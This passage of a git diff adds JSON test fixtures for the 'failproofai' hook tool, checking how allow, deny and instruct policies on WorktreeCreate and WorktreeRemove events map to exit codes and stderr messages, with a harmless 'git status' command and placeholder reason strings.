"sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..4c500f2e --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeCreate/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/WorktreeCreate/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..be3e0366 --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeCreate/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeCreate/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/WorktreeCreate/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..d905b095 --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeCreate/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeCreate/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/WorktreeCreate/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..25f3d10a --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeCreate/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeCreate/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/WorktreeCreate/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..755c9b6b --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeCreate/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked operation by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeCreate/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/WorktreeCreate/deny__tool-present__one-policy.json new file mode 100644 index 00000000..26e7e4ed --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeCreate/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "factory", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeCreate/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/WorktreeCreate/deny__tool-present__two-policies.json new file mode 100644 index 00000000..722ca79e --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeCreate/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "factory", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "Blocked Bash by failproofai because: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend, as per the policy configured by the user\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeCreate/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/WorktreeCreate/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..8743e067 --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeCreate/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeCreate/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/WorktreeCreate/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..8cb6a5ed --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeCreate/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeCreate/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/WorktreeCreate/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..834d9fd9 --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeCreate/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "factory", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeCreate/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/WorktreeCreate/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..6763c979 --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeCreate/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "factory", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeRemove/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/WorktreeRemove/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..1019d2ca --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeRemove/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeRemove/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/WorktreeRemove/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..21dbd203 --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeRemove/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeRemove/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/WorktreeRemove/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..7ff0e892 --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeRemove/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeRemove/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/WorktreeRemove/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..f53663f6 --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeRemove/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/factory/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..bda562e2 --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/factory/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..7ae8e22a --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeRemove/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/factory/WorktreeRemove/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..0002856b --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeRemove/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "factory", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/factory/WorktreeRemove/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/factory/WorktreeRemove/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..f3dff0c2 --- /dev/null +++ b/__tests__/parity/fixtures/factory/WorktreeRemove/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "factory", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + 